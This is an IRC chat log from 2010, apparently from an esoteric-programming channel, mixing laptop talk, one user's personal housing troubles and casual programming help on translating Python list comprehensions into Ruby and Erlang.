22:54:00 -!- alise_ has joined.
22:54:02 <alise_> Whoopsie,
22:54:04 <scarf> hi alise_
22:54:05 <alise_> *.
22:54:15 <scarf> my guess is that you're using a computer other than your own
22:54:47 <scarf> given that it's around 11pm where you live, you can't be at a cybercafe or anything like that
22:54:55 <scarf> so you're probably at a friend's or relative's house
22:55:18 -!- alise has quit (Ping timeout: 252 seconds).
22:55:26 <lament> gay lover's
22:56:11 <alise_> scarf: Incorrect.
22:56:24 <alise_> Well, relative's house yes, other person's computer no.
22:56:28 <scarf> hmm
22:56:38 <scarf> new computer, and you haven't installed an OS on it?
22:56:56 <scarf> other possibility's that your computer was dual-boot all along, and you're using the other side for some reason
22:57:12 <scarf> I can understand you using win7 deliberately, but home premium would seem unlikely, and this would seem a weird time to experiment
22:58:27 <alise_> Home Premium is pretty much the best Windows 7 version, Ultimate just has a few more stuffs
22:58:30 <alise_> New computer, yes, bingo.
22:59:01 <alise_> Rationale: Temporary residence as part of homelessness + going around to get things sorted + etc = lugging around an iMac is not ideal.
22:59:18 <scarf> you have a laptop, then, probably a netbook
22:59:37 <alise_> Not quite a netbook, they all had really ridiculously tiny 9" screens
22:59:44 <scarf> wow, that's small
22:59:51 <scarf> this netbook is about A4, which is still quite small
22:59:51 <alise_> And the 11" laptops cost similar prices to the 13" ones
22:59:55 <alise_> So it's just a small laptop
23:00:09 <alise_> Apparently it gets 8 hours battery life, so... that would be nice, I guess, though I doubt it's quite that much.
23:00:22 <scarf> mine's advertised as 8, it's around 5 in practice
23:00:29 <scarf> what model is it?
23:00:35 <alise_> Toshiba Satellite Tsomething.
23:00:49 <scarf> wow, you may have exactly the same as mine, which is also a toshiba satellite
23:01:02 <alise_> No, you probably have the 11" model.
23:01:05 <alise_> Mine's its 13.3" big brother
23:01:12 <scarf> fair enough
23:01:32 <alise_> How are you meant to type without thumbing the trackpad?
23:01:36 <alise_> I am rather unexperienced with laptops...
23:01:41 <scarf> I can't manage that either
23:01:49 <Gregor> Neither can I.
23:01:50 <scarf> I've just got really experienced at mitigating thumbpad errors
23:01:51 <Gregor> It's really annoying.
23:02:08 <scarf> you can turn off tap-to-click on the thumbpad if you really care, that prevents thumbing it by mistake doing much
23:02:31 <Deewiant> I just disable the pad entirely
23:02:32 <alise_> Yes, but the button isn't the best, I think you'll agree.
23:02:35 <alise_> A bit hard to reach too.
23:02:38 <scarf> yep
23:02:44 <scarf> my mouse is really unreliable atm
23:02:46 <alise_> Deewiant: No nipple mouse, and using Windows without a mouse is suicidal.
23:02:53 <scarf> so I'm using hold-primary-click-for-secondary-click
23:03:06 <scarf> which means I can do pretty much anything with touchpad gestures
23:03:56 <alise_> Apparently there's an eco mode which sacrifices performance for battery, which would be totally superfluous if they weren't presumably lying about the 8-hour life in the battery indicator.
23:04:12 <alise_> Whoo, it's gone down to 4 hours already :-D
23:04:52 <alise_> Why does it randomly decide to spin the fan up for no reason?
23:04:53 <alise_> Who knows.
23:05:00 <alise_> (Why does it come with so much junk installed? Who knows.)
23:05:00 <AnMaster> <oerjan> well what were you doing in the queue to HELL anyway <-- the train went to norway by mistake ;P
23:05:25 <scarf> alise_: oh, it spins up the fan randomly on Windows too?
23:05:44 <scarf> it probably does it more often there than here, though
23:05:47 <alise_> heh
23:05:51 <alise_> it's a really quiet fan though
23:05:56 <alise_> so i don't really care at all
23:05:57 <scarf> it has multiple settings
23:06:03 <scarf> it sometimes spins up to quiet for several minutes
23:06:04 <alise_> in fact, it's kind of eerie how quiet it has been
23:06:10 <scarf> and sometimes to REALLY LOUD for about ten seconds
23:06:22 <alise_> also, I've christened this machine Dinky
23:06:27 <scarf> why?
23:06:30 <scarf> mine's called desert
23:06:35 <alise_> I suppose it's not actually all that dinky
23:06:41 <alise_> scarf: because in some ephemeral way it is small and dinky.
23:06:48 <alise_> Compared to an iMac, I suppose. :P
23:07:38 <alise_> Also, what is it with airline food^W^W mobile broadband software?
23:07:45 <alise_> It's all incorrigibly awful
23:08:04 <AnMaster> <pikhq> Why yes, FUSE filesystem, I would absolutely love for you to read the entire contents of that file into memory.
23:08:04 <AnMaster> <pikhq> I of course have enough memory for 12 gigabyte files in RAM.
23:08:06 <AnMaster> wonderful
23:08:07 <scarf> oh, one thing that's annoying is things like the wireless killswitch seem to only work on Windows her
23:08:08 <scarf> *here
23:08:30 <AnMaster> pikhq, what fuse file system was it?
23:08:54 <alise_> 4 gigabytes of RAM in a machine with this CPU is hilariously pointless
23:09:14 <AnMaster> ah compression
23:09:16 <alise_> 1.30GHz single core, fuck yeah
23:09:18 <augur> alise_: why'd you get a new computer thats not a mac?
23:09:22 <AnMaster> pikhq, I would recommend using squashfs for compressing filesystem ;P
23:09:36 <scarf> alise_: this one has 3GB
23:09:41 <scarf> and is likewise single-core
23:09:44 <alise_> augur: because buying a mac laptop for use tomorrow without financial planning is a stupid idea
23:09:50 <alise_> They are, you might note, rather expensive
23:09:54 <cpressey> alise_: Welcome to laptop-land. You'll learn to love to hate to type.
23:09:56 <scarf> actually, having that much memory compared to the CPU means it's unlikely to start swapping without lots of notice
23:10:07 <augur> why did you buy a laptop for use tomorrow?
23:10:08 <alise_> Besides, I have no real qualms with UBuntu.
23:10:21 <alise_> augur: because my life is fucked up right now and I can't lug about an iMac
23:10:31 <augur> whats goin on?
23:10:39 <alise_> scarf: hmm... does yours have more than 1.30GHz of juice?
23:10:52 <alise_> also, if you have a 32-bit OS it's feasible that you have >3 gigs and just don't know it
23:10:55 <scarf> 1.3 exactly
23:10:58 <alise_> augur: Well, you know the situation with the unit, right?
23:11:02 <augur> no
23:11:03 <scarf> and I have a 32-bit OS, but it was advertised with 3GB
23:11:10 <alise_> You do, I told you.
23:11:24 <alise_> Basically a mental health institution has me there the entire week apart from the -ends.
23:11:29 <augur> oh wait, you mean the "zomg the boy is crazy" thing
23:11:31 <scarf> apart from this week?
23:11:39 <alise_> But not right now, that's not the issue, the issue is that for various complicated reasons I don't have any permanent residence right now
23:11:41 <scarf> or have you been going this week anyway, somehow?
23:11:56 <alise_> I've sent my clone there
23:11:56 <alise_> :p
23:12:12 <augur> can i get an alise_ clone? :X
23:12:12 <scarf> alise_: this is the best time ever for you to be a pair of identical twins
23:12:31 <alise_> augur: That's possibly the most disturbing thing you've ever said :P
23:12:38 <alise_> cpressey: The keys are... so flat.
23:12:40 <augur> i try <3
23:12:42 <cpressey> alise_: So where the hell are you? Please say "A truck stop outside El Paso". It's the only correct answer.
23:12:45 <alise_> I've had a scissor-switch keyboard before but jeez.
23:12:55 <alise_> A truck stop outside El Paso. (Uncle's house)
23:13:01 <cpressey> Right on.
23:13:17 <scarf> alise_: please get your life sorted out before you run out of relatives
23:13:33 <alise_> scarf: XD
23:13:39 <AnMaster> alise_, homelessness?
23:13:40 <AnMaster> wth
23:13:52 <AnMaster> I didn't gather it was quite that bad
23:13:59 <alise_> It's not like we didn't pay the rent or anything :P And it's not like we're sleeping on the streets
23:14:02 <scarf> he isn't homeless, just being shuffled from relative to relative
23:14:20 <alise_> It's just that going back to my (ex-)stepfather's house is not really an option.
23:14:27 <AnMaster> <scarf> you can turn off tap-to-click on the thumbpad if you really care, that prevents thumbing it by mistake doing much <-- thumbpad? Is that different from a normal touchpad?
23:14:31 <alise_> scarf: Only left my father's house because he demanded, increasingly angrily, that I attend the unit
23:14:44 <scarf> AnMaster: no, it's just a thumbpad, I misnamed it
23:14:48 <alise_> Actually he called social services on us because for a few hours he didn't know where we'd gone to...
23:14:53 <alise_> He's pretty fucking crazy.
23:14:58 <AnMaster> scarf, ?
23:15:08 <scarf> calling social services due to not knowing where your son is seems plausible
23:15:23 <scarf> *touchpad
23:15:34 <AnMaster> scarf, ah
23:15:43 <alise_> scarf: no, it was /after/ he found out
23:15:50 <AnMaster> <alise_> I've had a scissor-switch keyboard before but jeez. <-- they vary widely in quality in my experience
23:16:30 <scarf> alise_: are you at least going to school, somehow? my guess is that that's completely implausible given the situation
23:16:52 <scarf> but I'm worried that you'll get in trouble on the technicality that you're within the compulsory education age range, yet not going to school
23:17:12 <AnMaster> alise_, your parents are separated?
23:17:16 <AnMaster> or what is going on
23:17:22 <AnMaster> have you fled from home?
23:17:28 * AnMaster is utterly confused now
23:17:35 <augur> ok
23:17:39 <augur> i think ive just seen
23:17:40 <augur> what is by far
23:17:42 <alise_> My parents have been separated since I was three.
23:17:46 <AnMaster> ah
23:17:47 <alise_> I am with my mother.
23:17:48 <augur> the weirdest and wonderfullest musical instrument ever
23:18:12 <AnMaster> augur, ?
23:18:17 <augur> AnMaster: an audience.
23:18:20 <augur> http://www.ted.com/talks/bobby_mcferrin_hacks_your_brain_with_music.html
23:18:26 <augur> bobby mcferrin plays a fucking audience.
23:19:00 <alise_> This thing has a nice DPI.
23:19:19 <alise_> Can't even see /Windows's/ subpixel fringes.
23:19:34 * Sgeo has .. somewhat mixed emotions about Ruby
23:19:40 <augur> Sgeo: why
23:19:42 <augur> what kind
23:19:43 <scarf> I can see the subpixel fringes here if I zoom in a lot
23:20:02 <alise_> He has a part of him that thinks it's good, and it hasn't been forcibly amputated yet
23:20:02 <alise_> I'll Get Around To It(TM)
23:20:08 <Sgeo> On the one hand, it's the language I'm learning right now, therefore it's awesome. On the other hand, 20 ways to do the same thing gets on my nerves rapidly
23:20:26 <scarf> Sgeo: learn Perl, it only has 19
23:20:26 <augur> Sgeo: oh get over it :P
23:20:29 <AnMaster> augur, wow
23:20:30 <alise_> I think the fan logic for this machine is "Fan for a minute or two. Sleep a few minutes. Repeat."
23:20:40 <augur> AnMaster: RIGHT?
23:20:48 <scarf> alise_: plus a random-number generator
23:20:49 <Sgeo> Also, still haven't figured out how to mechanically translate [something for i in stuff for j in otherstuff]
23:20:56 <Sgeo> Nor (something for i in stuff)
23:20:59 <scarf> it does fan louder while under load, though, if not more often
23:21:02 <augur> Sgeo: what?
23:21:09 <AnMaster> augur, ?
23:21:13 <AnMaster> augur, about that video
23:21:14 <AnMaster> ..
23:21:16 <Sgeo> I'm used to Python's list comprehensions
23:21:21 <augur> AnMaster: i know. its amaing.
23:21:28 <Sgeo> It's somewhat easy to translate simple ones to Ruby
23:21:30 <augur> Sgeo: ah, list comprehensions dont exist in ruby, unfortunately.
23:21:32 <AnMaster> augur, also amazing
23:21:45 <augur> you need to do maps instead.
23:21:55 <augur> what sort of complicated map are you trying to do?
23:22:14 <Sgeo> [x*x for x in [1,2,3] if x > 1] becomes [1,2,3].select{ |x| x > 1}.map{|x| x*x}
23:22:30 <augur> yeah.
23:22:46 <Sgeo> What's the equivalent for multiuple "for x in y"s?
23:22:57 <augur> example?
23:23:01 <Sgeo> And is there something similar I can do with generators?
23:23:15 <Sgeo> [x*y for x in range(10) for y in range(10)]
23:23:17 <AnMaster> hm? python has list comprehensions?
23:23:20 <AnMaster> didn't remember that
23:23:30 <augur> ah. i see. no i dont think such a thing is easy to do in ruby
23:23:56 <Gregor> augur: That was pretty cool at the end.
23:23:57 <AnMaster> Sgeo, should be straightforward in erlang btw
23:24:03 <augur> Gregor: :)
23:24:06 <Gregor> Up 'til then it was more "uhh, OK?"
23:24:14 <augur> yeah
23:24:15 <alise_> 0.upto(10) {|x| 0.upto(10) {|y| x*y}}
23:24:15 <alise_> OR something
23:24:15 <alise_> *Or
23:24:16 <augur> he got people going
23:24:19 <augur> then bam
23:24:25 <augur> alise_: no, that wouldnt do it
23:24:46 <alise_> Err, right
23:25:02 <augur> (0..10).to_a.map { |x| (0..10).to_a.map { |y| x*y } }.flatten
23:25:04 <alise_> (0..10).map {|x| (0..10).map {|y| x*y}}
23:25:19 <augur> ranges dont have a map method ;)
23:25:54 <alise_> fucking lame
23:26:35 <Gregor> http://www.youtube.com/watch?v=S2k7aoIGqTI Anyone who hasn't seen this needs to watch it on loop until their eyes bleed.
23:26:35 <Sgeo> You can presumably make your own, and it will be an automatic part of all ranges
23:26:53 <scarf> Gregor: what is it? with a description like that, I don't want to click on it
23:27:06 <Gregor> scarf: It's The Cosmic Adventures of Doctor Fabulous
23:27:15 <scarf> hmm
23:27:51 <AnMaster> Sgeo, [X*Y||X<-lists:seq(0,10),Y<-lists:seq(0,10)]. (erlang)
23:29:00 <AnMaster> all possible combinations
23:29:08 <AnMaster> (I assume that is what the python one does)
23:30:01 <AnMaster> http://sprunge.us/dVZH is the generated list
23:30:30 -!- alise has joined.
23:30:32 <alise> Our Content Lock system protects under 18s from accessing inappropriate content, including unmoderated user-generated content and social networking sites. To remove Content Lock, click on the link below, call 1818 from your mobile or visit your nearest T-Mobile Store.
23:30:33 <alise> FFS
23:30:38 <alise> just give me youtube
23:30:52 -!- alise_ has quit (Ping timeout: 252 seconds).
23:31:20 <AnMaster> Sgeo, does that do the same as the python one?
23:31:25 <scarf> social networking = inappropriate content?
23:31:27 <AnMaster> Sgeo, yes or no
23:31:31 <AnMaster> scarf, very!
23:31:35 <scarf> unmoderated user-generated, is that to give an excuse to block WIkipedia?
23:31:44 <Sgeo> Yes, but in a certain order
23:31:54 <AnMaster> Sgeo, hm?
23:31:57 <scarf> if you're tethering, could you bounce an ssh tunnel off somewhere?
23:32:03 -!- augur has quit (Ping timeout: 240 seconds).
23:32:33 <Sgeo> [(x, y) for x in (1,2,3) for y in range(1,2,3)] starts [(1,1), (1,2), (1,3), (2,1)...
23:32:34 <Sgeo> iirc
23:32:40 <alise> scarf: YOUTUBE IS VIOLENCE
23:32:41 <alise> AND SEX
23:32:43 <alise> AND WARFARE
23:32:47 <alise> AND ROCK AND ROLL MUSIC
23:32:54 <scarf> gah, not rock and roll!
23:33:00 <AnMaster> Sgeo, that python expression gives me a list that goes to 81 here ....
23:33:01 <AnMaster> wth
23:33:05 <scarf> seriously, it's probably a better idea to just go round the filter
23:33:09 <alise> So now it wants me to supply a credit card number so it can verify that I'm an under-18 using someone else's credit card number.
23:33:22 <scarf> and what they /probably/ want to do is avoid people using loads of bandwidth
23:33:33 <cpressey> "You are number 5 in queue. Estimated wait time is 2 minute(s)s"
23:33:38 <scarf> if it's an unlimited-connection sort of thing
23:33:38 <alise> The old vodafone 3g stick did the same thing
23:33:44 <alise> It was damn annoying
23:33:51 <alise> scarf: No, pay-as-you-go, but topped up a lot I think
23:33:53 <scarf> and implies deep packet inspection, doesn't it?
23:33:54 <alise> For 30 days
23:34:03 <alise> (Pay for one day get 30 days free; pretty sweet deal imo.)
23:34:06 <alise> scarf: Probably.
23:34:08 <scarf> or they couldn't see where you were sending the query
23:34:13 <alise> Maybe DNS-based?
23:34:13 <AnMaster> Sgeo, http://sprunge.us/hZQA <-- that makes no sense
23:34:25 <MissPiggy> Gregor this isn't very good
23:34:26 <AnMaster> Sgeo, unless range(10) actually means 0..9
23:34:35 <Gregor> MissPiggy: YOU FAIL
23:34:37 <AnMaster> which would be sillier than I remembered
23:34:39 <Sgeo> AnMaster, it does
23:34:52 <MissPiggy> :(
23:35:09 <AnMaster> Sgeo, well then change the erlang expression to [X*Y||X<-lists:seq(0,9),Y<-lists:seq(0,9)]
23:35:11 <AnMaster> night
23:35:24 <Sgeo> Night AnMaster
23:37:19 <uorygl> I wonder if it's possible to apply for and receive a credit card entirely over the Internet.
23:38:25 <alise> Incidentally, this laptop used to be a display item.
23:38:25 <alise> There were only two laptops of this model and they were both displays...
23:45:10 -!- alise has quit (Ping timeout: 252 seconds).
23:48:37 -!- scarf has quit (Remote host closed the connection).
23:48:52 <MissPiggy> :(((( I watched the whole thing
23:49:02 <MissPiggy> it's meant to be a satire?
23:50:00 <Gregor> Yes.
23:50:21 <Gregor> Of various nonsense, and also with a heavy smattering of unrelated nonsense.
23:51:06 -!- alise has joined.
23:53:11 -!- cbrowne has joined.
23:54:42 <alise> This thing measures the battery life in Toshiba time.
23:54:47 <alise> It goes quickly, like technology.
23:56:39 <alise> ugh, scarf disappeared
23:57:32 <MissPiggy> gregor said i fail :(
23:57:37 <MissPiggy> I cant help who I am!
23:58:02 <MissPiggy> this is rocket launch
23:58:02 <MissPiggy> http://playlist.yahoo.com/makeplaylist.dll?id=1368162
23:58:13 <MissPiggy> it goes into "orbit" in "space"
23:58:27 <MissPiggy> (at least that's what they tell us..)
2010-03-05
00:00:26 <MissPiggy> there it is gone
00:02:04 <alise> you're strange.
00:02:04 <alise> really terribly strange
00:02:50 <MissPiggy> alise what do you have against nasa?
00:03:10 <lament> fun fact: "nasa" means "crazy"
00:03:19 <MissPiggy> :3
00:03:26 <alise> well you misinterpret gregor's joking "fail" as serious and then you say some sort of can't-tell-if-it's-serious space conspiracy stuff a second later :P
00:03:43 <MissPiggy> you are just impossible alise!!!
00:05:45 <Sgeo> If I start falling in love with Ruby, is that a bad thing?
00:05:51 <alise> Sgeo: yes.
00:05:56 <MissPiggy> yeah I think ruby sucks
00:06:09 <MissPiggy> except it's kind of useful....
00:06:16 <MissPiggy> but appart from that......
00:06:17 <alise> also, you realise that there's going to be a point in your programming career when you /can't/ just ask us an answer to every dilemma :)
00:06:36 <Sgeo> lol
00:07:01 <Sgeo> Considering that I'm still going to keep messing with Ruby regardless of complaints about it in this channel..
00:08:29 <coppro> it's okay
00:08:34 <coppro> alise complains about everything
00:08:44 <uorygl> Unix domain sockets are difficult to find information about.
00:08:55 <coppro> and is thus not an objective test of the goodness of a language
00:09:29 <alise> Sgeo: then don't ask.
00:09:30 <alise> coppro: no, I don't complain about everything
00:09:33 <uorygl> I'd like to know how to open one, listen on one, see who's on the other end of one, and read and write stuff.
00:09:43 <Sgeo> On the one hand, I want to agree, on the other hand, coppro is a C++ sympathizer >.>
00:09:45 <alise> merely most things that tend to be talked about at length
00:10:07 <Sgeo> No offense
00:10:08 <coppro> Sgeo: I'm not a blind one though
00:14:59 -!- alise_ has joined.
00:15:27 <cpressey> at&t customer service chat ftw
00:17:09 -!- alise__ has joined.
00:18:32 -!- alise has quit (Ping timeout: 252 seconds).
00:19:16 -!- alise_ has quit (Ping timeout: 252 seconds).
00:19:38 <uorygl> Hmm. Linux has less system calls than Lojban has gismu. I could just learn them all. :P
00:19:43 * cpressey 's soul is bleeding
00:21:00 -!- alise has joined.
00:21:28 -!- alise__ has quit (Ping timeout: 252 seconds).
00:23:12 <lament> mention of lojban = ban
00:23:51 <Gregor> That's why they call it Loj-BAN
00:24:00 <lament> yeah exactly
00:24:03 <uorygl> Mention of logic language = language?
00:24:10 <uorygl> What if I mention patching the Linux kernel so that it's a MOO?
00:24:35 <MissPiggy> what the hell is logical about lojban
00:24:42 <uorygl> I have no idea.
00:24:43 <MissPiggy> it's the most illogical thing I know :|
00:25:16 <alise> MissPiggy: consistency
00:25:33 <cpressey> I've already been banned from my lodge.
00:25:55 <cpressey> I looked at the Grand Poo-Bah funny.
00:27:35 <alise> Is your lodge Agora?
00:28:04 <coppro> The Grand Poo-Bah is not from Agora
00:29:39 <alise> I know that.
00:30:23 <cpressey> Polished, vertical walls are consistent too, and climbers just loooove them.
00:30:49 <cpressey> Sorry, it's the best analogy I know for why consistency + spoken language = not exactly a love affair
00:31:35 <alise> Lojban isn't the most interesting thing ever.
00:31:39 <alise> But I like how it relates to propositional logic.
00:31:46 <alise> Which is probably the real Loj in Lojban.
00:31:56 <lament> ban
00:31:57 <lament> ban
00:31:57 <cpressey> The irregularities in natural language seem to work like coding theory stuff, sometimes?
00:31:58 <lament> ban
00:32:01 <lament> ban
00:32:05 <MissPiggy> alise have you read laws of form?
00:32:13 <lament> i'm gonna be the only person remaining in the channel at this rate
00:32:19 <MissPiggy> has anyone here??
00:33:08 <alise> lament: "mention of lojban = ban"
00:33:13 <alise> even you will not be spared, surely?
00:36:00 <cpressey> MissPiggy: Maybe?
00:36:36 <cpressey> http://en.wikipedia.org/wiki/Laws_of_Form
00:36:51 <cpressey> I haven't read the work. I have read that page. A long time ago.
00:36:55 <lament> alise: I'm exempt
00:36:59 <lament> i'm above the law
00:37:14 <cpressey> Anyway, have to go home to try to fix my internet now.
00:37:15 <MissPiggy> cpressey I read the book it's kinda wild
00:37:28 <MissPiggy> alise seems to have given up on me
00:37:31 <cpressey> MissPiggy: It sounds like of like an esolang-logical-system
00:37:38 <MissPiggy> :D
00:37:42 <alise> mathematical philosophy is 100% bullshit
00:37:45 <alise> from concentrate
00:37:51 <cpressey> alise: :)
00:37:57 <alise> also, winge winge winge
00:38:15 <MissPiggy> alise stfu !!!!!
00:38:27 <cpressey> But every time I say I didn't enjoy "Goedel, Escher, Bach", people look at me as if I'm stupid.
00:38:31 <MissPiggy> you wouldn't know philosophy if it hit you in the face
00:38:31 <cpressey> Ah well.
00:38:36 <cpressey> Later, folks.
00:38:38 -!- cpressey has left (?).
00:38:50 <alise> I enjoyed the dialogues, but the AI content is not so good
00:38:55 <alise> MissPiggy: Oh, shut up.
00:39:04 <lament> i enjoyed GEB
00:39:08 <lament> i only read like 50 pages though
00:39:14 <lament> couldn't read any more, it's so boring and retarded
00:39:18 <MissPiggy> alise why even bother telling me to shut up if you are ignoring me :|
00:41:15 <alise> lament: is it also your favourite bolton album; it blows?
00:41:25 <lament> what
00:42:58 * MissPiggy bites alise
00:47:52 -!- alise has quit (Ping timeout: 252 seconds).
00:48:44 <uorygl> I wonder why sys_waitpid takes an int *.
00:48:59 <MissPiggy> I only read about one page of GEB before I started to think it was boring and retarded
00:49:09 <uorygl> You read the wrong page, then.
00:49:12 <Gregor> uorygl: ... to put the status into ...
00:49:24 <uorygl> Gregor: well, that makes sense.
00:49:38 <uorygl> Note that I have no idea what sys_waitpid is for.
00:49:38 <Gregor> Seeing as that waitpid(2) takes such an int * :P
00:49:52 <Gregor> ... good.
00:49:57 <Gregor> man 2 waitpid
00:50:11 <uorygl> Is (2) all about system calls?
00:50:58 <uorygl> Huh, I don't have that page.
00:51:21 <Gregor> FAH EEL
00:52:10 -!- alise has joined.
00:52:22 <uorygl> I'm guessing that in general, "foo" is input to the system call, "foo *" is output, and "const foo *" is input.
00:54:27 <alise> http://www.amazon.com/review/RI94SG7XY5YG3/ref=cm_cr_rdp_perm ;; here
00:54:41 <alise> etc: http://www.amazon.com/gp/pdp/profile/AKLYH2CI11XJN/ref=cm_cr_rdp_pdp
00:55:07 <alise> er i mean http://www.amazon.com/gp/cdp/member-reviews/AKLYH2CI11XJN/ref=cm_pdp_rev_all?ie=UTF8&sort_by=MostRecentReview
00:56:06 <uorygl> Where do I get those man pages?
00:57:16 -!- MizardX has quit (Ping timeout: 276 seconds).
00:57:18 <Gregor> Tuberwebsa
01:00:51 <alise> haha, I forgot this: "Yes, Ms. Newsom is a sort of Joni Mitchell meets Yvonne Trent (my fictional name for a singer who is Joanna Newsom minus Joni Mitchell),"
01:03:31 <Gregor> What a useless statement :P
01:04:34 <Sgeo> Hm. Might it make sense for me to Google for one of my passwords [I've used the Gmail password, so it's not like the Google folks don't ha.. wait, they don't have it]
01:05:24 <Sgeo> Just did it. No results =D
01:05:37 <Sgeo> No, you don't get a screenshot
01:06:04 <alise> Gregor: that /may/ be intentional...
01:06:04 <alise> :p
01:06:48 -!- lament has quit (Ping timeout: 258 seconds).
01:07:35 -!- lament has joined.
01:08:17 -!- BeholdMyGlory has quit (Remote host closed the connection).
01:09:03 <alise> "But, this I'm right about: Franz Ferdinand is a person, not a band. Look at the name! It's a first and last name! Why would a band have one person's name? So, they could get on planes with only having to buy one ticket? I think they're too rich at this point to worry about that. And, what would happen when they actually had to sit down in the plane? No attendant is going to let the rest of the "band" stand the whole flight."
01:15:04 <uorygl> Someone has a strong belief that band names have to make sense.
01:15:39 <uorygl> Or simply has a strong desire to prove themselves right.
01:16:15 <uorygl> Which, as we all know, is the most evil desire on the face of the Earth.
01:17:08 <alise> Or is a joke account
01:23:48 -!- alise has quit (Ping timeout: 252 seconds).
01:48:32 -!- oerjan has joined.
02:06:11 <oerjan> <Sgeo> It's somewhat easy to translate simple ones to Ruby <-- mechanically translating list comprehensions is listed in the haskell report: http://www.haskell.org/onlinereport/exps.html#sect3.11
02:06:41 <oerjan> the syntax is of course different
02:06:47 -!- MissPiggy has quit (Quit: Lost terminal).
02:07:05 <oerjan> (closer to set comprehensions in math)
02:08:31 <oerjan> you're probably missing the part with concatmap ?
02:17:44 <Sgeo> That's mechanically translating Haskell list comprehension syntax to non-sugared Haskell?
02:17:56 <oerjan> yep
02:18:18 <Sgeo> How about non-sugared Haskell -> Ruby?
02:18:46 <oerjan> concatMap = concat . map, or flatten and map from what i glanced from the logs
02:19:21 <oerjan> assuming flatten is not recursive, that would be evil.
02:19:37 * Sgeo is being... I think Ruby's flatten IS recursive. Hold on
02:20:10 <Sgeo> Yep
02:20:15 -!- benuphoenix has joined.
02:20:23 <Sgeo> irb(main):002:0> [[[1, 2], [3,4]], 5, 6].flatten
02:20:23 <Sgeo> => [1, 2, 3, 4, 5, 6]
02:20:25 <Sgeo> Hi benuphoenix
02:20:32 <benuphoenix> hi Sgeo
02:20:42 <oerjan> well that may mess things up then
02:21:34 <Quadrescence> To do a one-level flatten, map append
02:21:54 <oerjan> oh mutation
02:22:11 <Quadrescence> flattenOnce(x) = map(append, x), or whatever the ruby version would be
02:22:23 <benuphoenix> which lang is this?
02:22:37 <oerjan> ruby
02:22:42 <Quadrescence> I just made that up
02:22:51 <oerjan> oh
02:22:57 <Sgeo> Well, what if some elements aren't lists?
02:23:16 <Quadrescence> Then add that as a special case
02:23:24 <benuphoenix> !help
02:23:25 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
02:23:32 * Sgeo is too focused on SG-1 right now to write Ruby (!)
02:23:39 <Quadrescence> Make your own append function that appends items and lists
02:23:54 <oerjan> Sgeo: you won't have a use for non-list elements for this case, haskell concat only applies to lists of lists (of the same type)
02:24:00 -!- benuphoenix has left (?).
02:26:00 <oerjan> also if the end result is not a list of lists, you should be able to postpone it to a single flatten at the end, i think.
02:32:49 <oerjan> by using the monad laws for lists *mad evil cackle
02:32:51 <oerjan> *
02:33:39 <oerjan> curses, my plan would have succeeded if not for that meddling return key
02:36:08 <Quadrescence> i hate monads
02:44:07 <Gregor> Now to see who he really is!
02:44:12 * Gregor pulls of oerjan's mask
02:44:27 * Gregor pulls off oerjan's mask, even
02:44:40 <oerjan> boo!
02:44:42 -!- Asztal has quit (Ping timeout: 276 seconds).
02:44:48 -!- cheater2 has quit (Ping timeout: 252 seconds).
02:44:59 <oerjan> also ouch, my face!
02:45:49 <Gregor> Old man Johansen! I should have known!
02:46:53 <oerjan> you kids get off my lawn!
02:48:05 <Quadrescence> haha
02:54:36 <Gregor> No wait, Scooby and the gang never were even close, they were always more like "Old man Johansen?!"
02:59:39 <oerjan> that just means you are genre savvy
03:12:56 -!- oerjan has quit (Quit: Later).
03:31:27 -!- charlls has joined.
03:31:44 -!- charlls has quit (Read error: Connection reset by peer).
03:59:50 -!- coppro has quit (Remote host closed the connection).
04:06:41 -!- Gracenotes has quit (Read error: Connection reset by peer).
04:07:45 -!- Gracenotes has joined.
04:09:56 -!- coppro has joined.
04:12:28 -!- Gracenotes has quit (Read error: Connection reset by peer).
04:13:06 -!- Gracenotes has joined.
04:13:11 -!- augur has joined.
04:13:23 <augur> sup foos
04:13:26 <augur> coppro: i figured out the GR thing
04:13:30 <augur> or was it oerjan
04:13:33 <augur> both of yoj
04:13:59 <augur> when GR describes non-interial FoR's as equivalent to inertial FoR's with gravity
04:14:11 <augur> what is meant is not what the universe looks like from that FoR
04:14:22 <augur> but rather what the FoR looks like to someone inside it
04:14:52 <augur> so a _closed box_ that is accelerating, is indistinguishable from, and equivalent to, a non-accelerating version on a planets surface
04:15:31 <augur> if you could see out, that breaks the equivalence, thats not what GR is about. its about the local physics of the FoRs, not the apparent physics of the world outside the FoR
04:31:20 -!- oklopol has joined.
04:34:37 -!- oerjan has joined.
05:16:32 -!- amca has joined.
05:34:58 -!- augur has quit (Ping timeout: 264 seconds).
05:35:34 -!- augur has joined.
05:39:28 -!- oerjan has quit (Quit: And again).
05:54:21 <AnMaster> <uorygl> Unix domain sockets are difficult to find information about. <-- man 7 unix
05:56:21 <AnMaster> bbl
06:08:11 -!- oklopol has quit (Read error: Connection reset by peer).
06:08:45 -!- oklopol has joined.
06:54:18 -!- oklopol has quit (Ping timeout: 276 seconds).
06:56:18 -!- jcp has quit (Ping timeout: 245 seconds).
07:00:49 -!- tombom has joined.
07:07:58 -!- cheater2 has joined.
07:08:16 <uorygl> It would have been wonderful it someone had pointed out man 7 unix to me 18 hours ago.
07:08:25 <uorygl> It would have saved me about 18 hours.
07:20:02 -!- coppro has quit (Read error: Connection reset by peer).
07:25:15 -!- kar8nga has joined.
07:33:30 -!- oklopol has joined.
07:42:30 -!- oklopol has quit (Ping timeout: 256 seconds).
07:50:11 -!- tombom has quit (Quit: Leaving).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:03:26 -!- oklopol has joined.
08:05:42 -!- oklopol has quit (Read error: Connection reset by peer).
08:06:10 -!- oklopol has joined.
08:29:04 -!- oklopol has quit (Read error: Connection reset by peer).
08:29:42 -!- oklopol has joined.
08:40:12 <dev_squid> Like my mini webpage? (http://circastudios.site50.net/dev_squid/)
08:42:51 * dev_squid is going to bed.
08:47:38 -!- MigoMipo has joined.
08:48:25 -!- dev_squid has quit (Ping timeout: 260 seconds).
09:02:31 -!- oklopol has quit (Ping timeout: 258 seconds).
09:10:12 <fizzie> Aww, the text is in images.
09:18:11 -!- kar8nga has quit (Remote host closed the connection).
09:55:04 -!- MizardX has joined.
10:01:19 -!- oklopol has joined.
10:22:18 -!- oklopol has quit (Ping timeout: 276 seconds).
11:04:35 -!- amca has quit (Quit: Farewell).
11:35:40 -!- kar8nga has joined.
12:23:38 -!- kar8nga has quit (Remote host closed the connection).
12:35:02 -!- BeholdMyGlory has joined.
